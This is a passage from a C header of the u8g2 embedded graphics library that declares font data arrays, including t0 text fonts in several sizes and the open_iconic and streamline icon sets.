U8G2_FONT_SECTION("u8g2_font_t0_12_tf"); extern const uint8_t u8g2_font_t0_12_tr[] U8G2_FONT_SECTION("u8g2_font_t0_12_tr"); extern const uint8_t u8g2_font_t0_12_tn[] U8G2_FONT_SECTION("u8g2_font_t0_12_tn"); extern const uint8_t u8g2_font_t0_12_te[] U8G2_FONT_SECTION("u8g2_font_t0_12_te"); extern const uint8_t u8g2_font_t0_12_mf[] U8G2_FONT_SECTION("u8g2_font_t0_12_mf"); extern const uint8_t u8g2_font_t0_12_mr[] U8G2_FONT_SECTION("u8g2_font_t0_12_mr"); extern const uint8_t u8g2_font_t0_12_mn[] U8G2_FONT_SECTION("u8g2_font_t0_12_mn"); extern const uint8_t u8g2_font_t0_12_me[] U8G2_FONT_SECTION("u8g2_font_t0_12_me"); extern const uint8_t u8g2_font_t0_12b_tf[] U8G2_FONT_SECTION("u8g2_font_t0_12b_tf"); extern const uint8_t u8g2_font_t0_12b_tr[] U8G2_FONT_SECTION("u8g2_font_t0_12b_tr"); extern const uint8_t u8g2_font_t0_12b_tn[] U8G2_FONT_SECTION("u8g2_font_t0_12b_tn"); extern const uint8_t u8g2_font_t0_12b_te[] U8G2_FONT_SECTION("u8g2_font_t0_12b_te"); extern const uint8_t u8g2_font_t0_12b_mf[] U8G2_FONT_SECTION("u8g2_font_t0_12b_mf"); extern const uint8_t u8g2_font_t0_12b_mr[] U8G2_FONT_SECTION("u8g2_font_t0_12b_mr"); extern const uint8_t u8g2_font_t0_12b_mn[] U8G2_FONT_SECTION("u8g2_font_t0_12b_mn"); extern const uint8_t u8g2_font_t0_12b_me[] U8G2_FONT_SECTION("u8g2_font_t0_12b_me"); extern const uint8_t u8g2_font_t0_13_tf[] U8G2_FONT_SECTION("u8g2_font_t0_13_tf"); extern const uint8_t u8g2_font_t0_13_tr[] U8G2_FONT_SECTION("u8g2_font_t0_13_tr"); extern const uint8_t u8g2_font_t0_13_tn[] U8G2_FONT_SECTION("u8g2_font_t0_13_tn"); extern const uint8_t u8g2_font_t0_13_te[] U8G2_FONT_SECTION("u8g2_font_t0_13_te"); extern const uint8_t u8g2_font_t0_13_mf[] U8G2_FONT_SECTION("u8g2_font_t0_13_mf"); extern const uint8_t u8g2_font_t0_13_mr[] U8G2_FONT_SECTION("u8g2_font_t0_13_mr"); extern const uint8_t u8g2_font_t0_13_mn[] U8G2_FONT_SECTION("u8g2_font_t0_13_mn"); extern const uint8_t u8g2_font_t0_13_me[] U8G2_FONT_SECTION("u8g2_font_t0_13_me"); extern const uint8_t u8g2_font_t0_13b_tf[] U8G2_FONT_SECTION("u8g2_font_t0_13b_tf"); extern const uint8_t u8g2_font_t0_13b_tr[] U8G2_FONT_SECTION("u8g2_font_t0_13b_tr"); extern const uint8_t u8g2_font_t0_13b_tn[] U8G2_FONT_SECTION("u8g2_font_t0_13b_tn"); extern const uint8_t u8g2_font_t0_13b_te[] U8G2_FONT_SECTION("u8g2_font_t0_13b_te"); extern const uint8_t u8g2_font_t0_13b_mf[] U8G2_FONT_SECTION("u8g2_font_t0_13b_mf"); extern const uint8_t u8g2_font_t0_13b_mr[] U8G2_FONT_SECTION("u8g2_font_t0_13b_mr"); extern const uint8_t u8g2_font_t0_13b_mn[] U8G2_FONT_SECTION("u8g2_font_t0_13b_mn"); extern const uint8_t u8g2_font_t0_13b_me[] U8G2_FONT_SECTION("u8g2_font_t0_13b_me"); extern const uint8_t u8g2_font_t0_14_tf[] U8G2_FONT_SECTION("u8g2_font_t0_14_tf"); extern const uint8_t u8g2_font_t0_14_tr[] U8G2_FONT_SECTION("u8g2_font_t0_14_tr"); extern const uint8_t u8g2_font_t0_14_tn[] U8G2_FONT_SECTION("u8g2_font_t0_14_tn"); extern const uint8_t u8g2_font_t0_14_te[] U8G2_FONT_SECTION("u8g2_font_t0_14_te"); extern const uint8_t u8g2_font_t0_14_mf[] U8G2_FONT_SECTION("u8g2_font_t0_14_mf"); extern const uint8_t u8g2_font_t0_14_mr[] U8G2_FONT_SECTION("u8g2_font_t0_14_mr"); extern const uint8_t u8g2_font_t0_14_mn[] U8G2_FONT_SECTION("u8g2_font_t0_14_mn"); extern const uint8_t u8g2_font_t0_14_me[] U8G2_FONT_SECTION("u8g2_font_t0_14_me"); extern const uint8_t u8g2_font_t0_14b_tf[] U8G2_FONT_SECTION("u8g2_font_t0_14b_tf"); extern const uint8_t u8g2_font_t0_14b_tr[] U8G2_FONT_SECTION("u8g2_font_t0_14b_tr"); extern const uint8_t u8g2_font_t0_14b_tn[] U8G2_FONT_SECTION("u8g2_font_t0_14b_tn"); extern const uint8_t u8g2_font_t0_14b_te[] U8G2_FONT_SECTION("u8g2_font_t0_14b_te"); extern const uint8_t u8g2_font_t0_14b_mf[] U8G2_FONT_SECTION("u8g2_font_t0_14b_mf"); extern const uint8_t u8g2_font_t0_14b_mr[] U8G2_FONT_SECTION("u8g2_font_t0_14b_mr"); extern const uint8_t u8g2_font_t0_14b_mn[] U8G2_FONT_SECTION("u8g2_font_t0_14b_mn"); extern const uint8_t u8g2_font_t0_14b_me[] U8G2_FONT_SECTION("u8g2_font_t0_14b_me"); extern const uint8_t u8g2_font_t0_15_tf[] U8G2_FONT_SECTION("u8g2_font_t0_15_tf"); extern const uint8_t u8g2_font_t0_15_tr[] U8G2_FONT_SECTION("u8g2_font_t0_15_tr"); extern const uint8_t u8g2_font_t0_15_tn[] U8G2_FONT_SECTION("u8g2_font_t0_15_tn"); extern const uint8_t u8g2_font_t0_15_te[] U8G2_FONT_SECTION("u8g2_font_t0_15_te"); extern const uint8_t u8g2_font_t0_15_mf[] U8G2_FONT_SECTION("u8g2_font_t0_15_mf"); extern const uint8_t u8g2_font_t0_15_mr[] U8G2_FONT_SECTION("u8g2_font_t0_15_mr"); extern const uint8_t u8g2_font_t0_15_mn[] U8G2_FONT_SECTION("u8g2_font_t0_15_mn"); extern const uint8_t u8g2_font_t0_15_me[] U8G2_FONT_SECTION("u8g2_font_t0_15_me"); extern const uint8_t u8g2_font_t0_15b_tf[] U8G2_FONT_SECTION("u8g2_font_t0_15b_tf"); extern const uint8_t u8g2_font_t0_15b_tr[] U8G2_FONT_SECTION("u8g2_font_t0_15b_tr"); extern const uint8_t u8g2_font_t0_15b_tn[] U8G2_FONT_SECTION("u8g2_font_t0_15b_tn"); extern const uint8_t u8g2_font_t0_15b_te[] U8G2_FONT_SECTION("u8g2_font_t0_15b_te"); extern const uint8_t u8g2_font_t0_15b_mf[] U8G2_FONT_SECTION("u8g2_font_t0_15b_mf"); extern const uint8_t u8g2_font_t0_15b_mr[] U8G2_FONT_SECTION("u8g2_font_t0_15b_mr"); extern const uint8_t u8g2_font_t0_15b_mn[] U8G2_FONT_SECTION("u8g2_font_t0_15b_mn"); extern const uint8_t u8g2_font_t0_15b_me[] U8G2_FONT_SECTION("u8g2_font_t0_15b_me"); extern const uint8_t u8g2_font_t0_16_tf[] U8G2_FONT_SECTION("u8g2_font_t0_16_tf"); extern const uint8_t u8g2_font_t0_16_tr[] U8G2_FONT_SECTION("u8g2_font_t0_16_tr"); extern const uint8_t u8g2_font_t0_16_tn[] U8G2_FONT_SECTION("u8g2_font_t0_16_tn"); extern const uint8_t u8g2_font_t0_16_te[] U8G2_FONT_SECTION("u8g2_font_t0_16_te"); extern const uint8_t u8g2_font_t0_16_mf[] U8G2_FONT_SECTION("u8g2_font_t0_16_mf"); extern const uint8_t u8g2_font_t0_16_mr[] U8G2_FONT_SECTION("u8g2_font_t0_16_mr"); extern const uint8_t u8g2_font_t0_16_mn[] U8G2_FONT_SECTION("u8g2_font_t0_16_mn"); extern const uint8_t u8g2_font_t0_16_me[] U8G2_FONT_SECTION("u8g2_font_t0_16_me"); extern const uint8_t u8g2_font_t0_16b_tf[] U8G2_FONT_SECTION("u8g2_font_t0_16b_tf"); extern const uint8_t u8g2_font_t0_16b_tr[] U8G2_FONT_SECTION("u8g2_font_t0_16b_tr"); extern const uint8_t u8g2_font_t0_16b_tn[] U8G2_FONT_SECTION("u8g2_font_t0_16b_tn"); extern const uint8_t u8g2_font_t0_16b_te[] U8G2_FONT_SECTION("u8g2_font_t0_16b_te"); extern const uint8_t u8g2_font_t0_16b_mf[] U8G2_FONT_SECTION("u8g2_font_t0_16b_mf"); extern const uint8_t u8g2_font_t0_16b_mr[] U8G2_FONT_SECTION("u8g2_font_t0_16b_mr"); extern const uint8_t u8g2_font_t0_16b_mn[] U8G2_FONT_SECTION("u8g2_font_t0_16b_mn"); extern const uint8_t u8g2_font_t0_16b_me[] U8G2_FONT_SECTION("u8g2_font_t0_16b_me"); extern const uint8_t u8g2_font_t0_17_tf[] U8G2_FONT_SECTION("u8g2_font_t0_17_tf"); extern const uint8_t u8g2_font_t0_17_tr[] U8G2_FONT_SECTION("u8g2_font_t0_17_tr"); extern const uint8_t u8g2_font_t0_17_tn[] U8G2_FONT_SECTION("u8g2_font_t0_17_tn"); extern const uint8_t u8g2_font_t0_17_te[] U8G2_FONT_SECTION("u8g2_font_t0_17_te"); extern const uint8_t u8g2_font_t0_17_mf[] U8G2_FONT_SECTION("u8g2_font_t0_17_mf"); extern const uint8_t u8g2_font_t0_17_mr[] U8G2_FONT_SECTION("u8g2_font_t0_17_mr"); extern const uint8_t u8g2_font_t0_17_mn[] U8G2_FONT_SECTION("u8g2_font_t0_17_mn"); extern const uint8_t u8g2_font_t0_17_me[] U8G2_FONT_SECTION("u8g2_font_t0_17_me"); extern const uint8_t u8g2_font_t0_17b_tf[] U8G2_FONT_SECTION("u8g2_font_t0_17b_tf"); extern const uint8_t u8g2_font_t0_17b_tr[] U8G2_FONT_SECTION("u8g2_font_t0_17b_tr"); extern const uint8_t u8g2_font_t0_17b_tn[] U8G2_FONT_SECTION("u8g2_font_t0_17b_tn"); extern const uint8_t u8g2_font_t0_17b_te[] U8G2_FONT_SECTION("u8g2_font_t0_17b_te"); extern const uint8_t u8g2_font_t0_17b_mf[] U8G2_FONT_SECTION("u8g2_font_t0_17b_mf"); extern const uint8_t u8g2_font_t0_17b_mr[] U8G2_FONT_SECTION("u8g2_font_t0_17b_mr"); extern const uint8_t u8g2_font_t0_17b_mn[] U8G2_FONT_SECTION("u8g2_font_t0_17b_mn"); extern const uint8_t u8g2_font_t0_17b_me[] U8G2_FONT_SECTION("u8g2_font_t0_17b_me"); extern const uint8_t u8g2_font_t0_18_tf[] U8G2_FONT_SECTION("u8g2_font_t0_18_tf"); extern const uint8_t u8g2_font_t0_18_tr[] U8G2_FONT_SECTION("u8g2_font_t0_18_tr"); extern const uint8_t u8g2_font_t0_18_tn[] U8G2_FONT_SECTION("u8g2_font_t0_18_tn"); extern const uint8_t u8g2_font_t0_18_te[] U8G2_FONT_SECTION("u8g2_font_t0_18_te"); extern const uint8_t u8g2_font_t0_18_mf[] U8G2_FONT_SECTION("u8g2_font_t0_18_mf"); extern const uint8_t u8g2_font_t0_18_mr[] U8G2_FONT_SECTION("u8g2_font_t0_18_mr"); extern const uint8_t u8g2_font_t0_18_mn[] U8G2_FONT_SECTION("u8g2_font_t0_18_mn"); extern const uint8_t u8g2_font_t0_18_me[] U8G2_FONT_SECTION("u8g2_font_t0_18_me"); extern const uint8_t u8g2_font_t0_18b_tf[] U8G2_FONT_SECTION("u8g2_font_t0_18b_tf"); extern const uint8_t u8g2_font_t0_18b_tr[] U8G2_FONT_SECTION("u8g2_font_t0_18b_tr"); extern const uint8_t u8g2_font_t0_18b_tn[] U8G2_FONT_SECTION("u8g2_font_t0_18b_tn"); extern const uint8_t u8g2_font_t0_18b_te[] U8G2_FONT_SECTION("u8g2_font_t0_18b_te"); extern const uint8_t u8g2_font_t0_18b_mf[] U8G2_FONT_SECTION("u8g2_font_t0_18b_mf"); extern const uint8_t u8g2_font_t0_18b_mr[] U8G2_FONT_SECTION("u8g2_font_t0_18b_mr"); extern const uint8_t u8g2_font_t0_18b_mn[] U8G2_FONT_SECTION("u8g2_font_t0_18b_mn"); extern const uint8_t u8g2_font_t0_18b_me[] U8G2_FONT_SECTION("u8g2_font_t0_18b_me"); extern const uint8_t u8g2_font_t0_22_tf[] U8G2_FONT_SECTION("u8g2_font_t0_22_tf"); extern const uint8_t u8g2_font_t0_22_tr[] U8G2_FONT_SECTION("u8g2_font_t0_22_tr"); extern const uint8_t u8g2_font_t0_22_tn[] U8G2_FONT_SECTION("u8g2_font_t0_22_tn"); extern const uint8_t u8g2_font_t0_22_te[] U8G2_FONT_SECTION("u8g2_font_t0_22_te"); extern const uint8_t u8g2_font_t0_22_mf[] U8G2_FONT_SECTION("u8g2_font_t0_22_mf"); extern const uint8_t u8g2_font_t0_22_mr[] U8G2_FONT_SECTION("u8g2_font_t0_22_mr"); extern const uint8_t u8g2_font_t0_22_mn[] U8G2_FONT_SECTION("u8g2_font_t0_22_mn"); extern const uint8_t u8g2_font_t0_22_me[] U8G2_FONT_SECTION("u8g2_font_t0_22_me"); extern const uint8_t u8g2_font_t0_22b_tf[] U8G2_FONT_SECTION("u8g2_font_t0_22b_tf"); extern const uint8_t u8g2_font_t0_22b_tr[] U8G2_FONT_SECTION("u8g2_font_t0_22b_tr"); extern const uint8_t u8g2_font_t0_22b_tn[] U8G2_FONT_SECTION("u8g2_font_t0_22b_tn"); extern const uint8_t u8g2_font_t0_22b_te[] U8G2_FONT_SECTION("u8g2_font_t0_22b_te"); extern const uint8_t u8g2_font_t0_22b_mf[] U8G2_FONT_SECTION("u8g2_font_t0_22b_mf"); extern const uint8_t u8g2_font_t0_22b_mr[] U8G2_FONT_SECTION("u8g2_font_t0_22b_mr"); extern const uint8_t u8g2_font_t0_22b_mn[] U8G2_FONT_SECTION("u8g2_font_t0_22b_mn"); extern const uint8_t u8g2_font_t0_22b_me[] U8G2_FONT_SECTION("u8g2_font_t0_22b_me"); extern const uint8_t u8g2_font_open_iconic_all_1x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_all_1x_t"); extern const uint8_t u8g2_font_open_iconic_app_1x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_app_1x_t"); extern const uint8_t u8g2_font_open_iconic_arrow_1x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_arrow_1x_t"); extern const uint8_t u8g2_font_open_iconic_check_1x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_check_1x_t"); extern const uint8_t u8g2_font_open_iconic_email_1x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_email_1x_t"); extern const uint8_t u8g2_font_open_iconic_embedded_1x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_embedded_1x_t"); extern const uint8_t u8g2_font_open_iconic_gui_1x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_gui_1x_t"); extern const uint8_t u8g2_font_open_iconic_human_1x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_human_1x_t"); extern const uint8_t u8g2_font_open_iconic_mime_1x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_mime_1x_t"); extern const uint8_t u8g2_font_open_iconic_other_1x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_other_1x_t"); extern const uint8_t u8g2_font_open_iconic_play_1x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_play_1x_t"); extern const uint8_t u8g2_font_open_iconic_text_1x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_text_1x_t"); extern const uint8_t u8g2_font_open_iconic_thing_1x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_thing_1x_t"); extern const uint8_t u8g2_font_open_iconic_weather_1x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_weather_1x_t"); extern const uint8_t u8g2_font_open_iconic_www_1x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_www_1x_t"); extern const uint8_t u8g2_font_open_iconic_all_2x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_all_2x_t"); extern const uint8_t u8g2_font_open_iconic_app_2x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_app_2x_t"); extern const uint8_t u8g2_font_open_iconic_arrow_2x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_arrow_2x_t"); extern const uint8_t u8g2_font_open_iconic_check_2x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_check_2x_t"); extern const uint8_t u8g2_font_open_iconic_email_2x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_email_2x_t"); extern const uint8_t u8g2_font_open_iconic_embedded_2x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_embedded_2x_t"); extern const uint8_t u8g2_font_open_iconic_gui_2x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_gui_2x_t"); extern const uint8_t u8g2_font_open_iconic_human_2x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_human_2x_t"); extern const uint8_t u8g2_font_open_iconic_mime_2x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_mime_2x_t"); extern const uint8_t u8g2_font_open_iconic_other_2x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_other_2x_t"); extern const uint8_t u8g2_font_open_iconic_play_2x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_play_2x_t"); extern const uint8_t u8g2_font_open_iconic_text_2x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_text_2x_t"); extern const uint8_t u8g2_font_open_iconic_thing_2x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_thing_2x_t"); extern const uint8_t u8g2_font_open_iconic_weather_2x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_weather_2x_t"); extern const uint8_t u8g2_font_open_iconic_www_2x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_www_2x_t"); extern const uint8_t u8g2_font_open_iconic_all_4x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_all_4x_t"); extern const uint8_t u8g2_font_open_iconic_app_4x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_app_4x_t"); extern const uint8_t u8g2_font_open_iconic_arrow_4x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_arrow_4x_t"); extern const uint8_t u8g2_font_open_iconic_check_4x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_check_4x_t"); extern const uint8_t u8g2_font_open_iconic_email_4x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_email_4x_t"); extern const uint8_t u8g2_font_open_iconic_embedded_4x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_embedded_4x_t"); extern const uint8_t u8g2_font_open_iconic_gui_4x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_gui_4x_t"); extern const uint8_t u8g2_font_open_iconic_human_4x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_human_4x_t"); extern const uint8_t u8g2_font_open_iconic_mime_4x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_mime_4x_t"); extern const uint8_t u8g2_font_open_iconic_other_4x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_other_4x_t"); extern const uint8_t u8g2_font_open_iconic_play_4x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_play_4x_t"); extern const uint8_t u8g2_font_open_iconic_text_4x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_text_4x_t"); extern const uint8_t u8g2_font_open_iconic_thing_4x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_thing_4x_t"); extern const uint8_t u8g2_font_open_iconic_weather_4x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_weather_4x_t"); extern const uint8_t u8g2_font_open_iconic_www_4x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_www_4x_t"); extern const uint8_t u8g2_font_open_iconic_all_6x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_all_6x_t"); extern const uint8_t u8g2_font_open_iconic_app_6x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_app_6x_t"); extern const uint8_t u8g2_font_open_iconic_arrow_6x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_arrow_6x_t"); extern const uint8_t u8g2_font_open_iconic_check_6x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_check_6x_t"); extern const uint8_t u8g2_font_open_iconic_email_6x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_email_6x_t"); extern const uint8_t u8g2_font_open_iconic_embedded_6x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_embedded_6x_t"); extern const uint8_t u8g2_font_open_iconic_gui_6x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_gui_6x_t"); extern const uint8_t u8g2_font_open_iconic_human_6x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_human_6x_t"); extern const uint8_t u8g2_font_open_iconic_mime_6x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_mime_6x_t"); extern const uint8_t u8g2_font_open_iconic_other_6x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_other_6x_t"); extern const uint8_t u8g2_font_open_iconic_play_6x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_play_6x_t"); extern const uint8_t u8g2_font_open_iconic_text_6x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_text_6x_t"); extern const uint8_t u8g2_font_open_iconic_thing_6x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_thing_6x_t"); extern const uint8_t u8g2_font_open_iconic_weather_6x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_weather_6x_t"); extern const uint8_t u8g2_font_open_iconic_www_6x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_www_6x_t"); extern const uint8_t u8g2_font_open_iconic_all_8x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_all_8x_t"); extern const uint8_t u8g2_font_open_iconic_app_8x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_app_8x_t"); extern const uint8_t u8g2_font_open_iconic_arrow_8x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_arrow_8x_t"); extern const uint8_t u8g2_font_open_iconic_check_8x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_check_8x_t"); extern const uint8_t u8g2_font_open_iconic_email_8x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_email_8x_t"); extern const uint8_t u8g2_font_open_iconic_embedded_8x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_embedded_8x_t"); extern const uint8_t u8g2_font_open_iconic_gui_8x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_gui_8x_t"); extern const uint8_t u8g2_font_open_iconic_human_8x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_human_8x_t"); extern const uint8_t u8g2_font_open_iconic_mime_8x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_mime_8x_t"); extern const uint8_t u8g2_font_open_iconic_other_8x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_other_8x_t"); extern const uint8_t u8g2_font_open_iconic_play_8x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_play_8x_t"); extern const uint8_t u8g2_font_open_iconic_text_8x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_text_8x_t"); extern const uint8_t u8g2_font_open_iconic_thing_8x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_thing_8x_t"); extern const uint8_t u8g2_font_open_iconic_weather_8x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_weather_8x_t"); extern const uint8_t u8g2_font_open_iconic_www_8x_t[] U8G2_FONT_SECTION("u8g2_font_open_iconic_www_8x_t"); extern const uint8_t u8g2_font_streamline_all_t[] U8G2_FONT_SECTION("u8g2_font_streamline_all_t"); extern const uint8_t u8g2_font_streamline_building_real_estate_t[] U8G2_FONT_SECTION("u8g2_font_streamline_building_real_estate_t"); extern const uint8_t u8g2_font_streamline_business_t[] U8G2_FONT_SECTION("u8g2_font_streamline_business_t"); extern const uint8_t u8g2_font_streamline_coding_apps_websites_t[] U8G2_FONT_SECTION("u8g2_font_streamline_coding_apps_websites_t"); extern const uint8_t u8g2_font_streamline_computers_devices_electronics_t[] U8G2_FONT_SECTION("u8g2_font_streamline_computers_devices_electronics_t"); extern const uint8_t u8g2_font_streamline_content_files_t[] U8G2_FONT_SECTION("u8g2_font_streamline_content_files_t"); extern const uint8_t u8g2_font_streamline_design_t[] U8G2_FONT_SECTION("u8g2_font_streamline_design_t"); extern const uint8_t u8g2_font_streamline_ecology_t[] U8G2_FONT_SECTION("u8g2_font_streamline_ecology_t"); extern const uint8_t u8g2_font_streamline_email_t[] U8G2_FONT_SECTION("u8g2_font_streamline_email_t"); extern const uint8_t u8g2_font_streamline_entertainment_events_hobbies_t[] U8G2_FONT_SECTION("u8g2_font_streamline_entertainment_events_hobbies_t"); extern const uint8_t u8g2_font_streamline_food_drink_t[] U8G2_FONT_SECTION("u8g2_font_streamline_food_drink_t"); extern const uint8_t u8g2_font_streamline_hand_signs_t[] U8G2_FONT_SECTION("u8g2_font_streamline_hand_signs_t"); extern const uint8_t u8g2_font_streamline_health_beauty_t[] U8G2_FONT_SECTION("u8g2_font_streamline_health_beauty_t"); extern const uint8_t u8g2_font_streamline_interface_essential_action_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_action_t"); extern const uint8_t u8g2_font_streamline_interface_essential_alert_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_alert_t"); extern const uint8_t u8g2_font_streamline_interface_essential_audio_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_audio_t"); extern const uint8_t u8g2_font_streamline_interface_essential_calendar_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_calendar_t"); extern const uint8_t u8g2_font_streamline_interface_essential_chart_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_chart_t"); extern const uint8_t u8g2_font_streamline_interface_essential_circle_triangle_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_circle_triangle_t"); extern const uint8_t u8g2_font_streamline_interface_essential_cog_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_cog_t"); extern const uint8_t u8g2_font_streamline_interface_essential_cursor_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_cursor_t"); extern const uint8_t u8g2_font_streamline_interface_essential_dial_pad_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_dial_pad_t"); extern const uint8_t u8g2_font_streamline_interface_essential_edit_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_edit_t"); extern const uint8_t u8g2_font_streamline_interface_essential_expand_shrink_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_expand_shrink_t"); extern const uint8_t u8g2_font_streamline_interface_essential_eye_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_eye_t"); extern const uint8_t u8g2_font_streamline_interface_essential_file_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_file_t"); extern const uint8_t u8g2_font_streamline_interface_essential_help_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_help_t"); extern const uint8_t u8g2_font_streamline_interface_essential_hierarchy_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_hierarchy_t"); extern const uint8_t u8g2_font_streamline_interface_essential_home_menu_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_home_menu_t"); extern const uint8_t u8g2_font_streamline_interface_essential_id_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_id_t"); extern const uint8_t u8g2_font_streamline_interface_essential_key_lock_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_key_lock_t"); extern const uint8_t u8g2_font_streamline_interface_essential_link_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_link_t"); extern const uint8_t u8g2_font_streamline_interface_essential_loading_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_loading_t"); extern const uint8_t u8g2_font_streamline_interface_essential_login_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_login_t"); extern const uint8_t u8g2_font_streamline_interface_essential_other_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_other_t"); extern const uint8_t u8g2_font_streamline_interface_essential_paginate_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_paginate_t"); extern const uint8_t u8g2_font_streamline_interface_essential_search_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_search_t"); extern const uint8_t u8g2_font_streamline_interface_essential_setting_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_setting_t"); extern const uint8_t u8g2_font_streamline_interface_essential_share_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_share_t"); extern const uint8_t u8g2_font_streamline_interface_essential_text_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_text_t"); extern const uint8_t u8g2_font_streamline_interface_essential_wifi_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_wifi_t"); extern const uint8_t u8g2_font_streamline_interface_essential_zoom_t[] U8G2_FONT_SECTION("u8g2_font_streamline_interface_essential_zoom_t"); extern const uint8_t u8g2_font_streamline_internet_network_t[] U8G2_FONT_SECTION("u8g2_font_streamline_internet_network_t"); extern const uint8_t u8g2_font_streamline_logo_t[] U8G2_FONT_SECTION("u8g2_font_streamline_logo_t"); extern const uint8_t u8g2_font_streamline_map_navigation_t[] U8G2_FONT_SECTION("u8g2_font_streamline_map_navigation_t"); extern const uint8_t u8g2_font_streamline_money_payments_t[] U8G2_FONT_SECTION("u8g2_font_streamline_money_payments_t"); extern const uint8_t u8g2_font_streamline_music_audio_t[] U8G2_FONT_SECTION("u8g2_font_streamline_music_audio_t"); extern const uint8_t u8g2_font_streamline_pet_animals_t[] U8G2_FONT_SECTION("u8g2_font_streamline_pet_animals_t"); extern const uint8_t 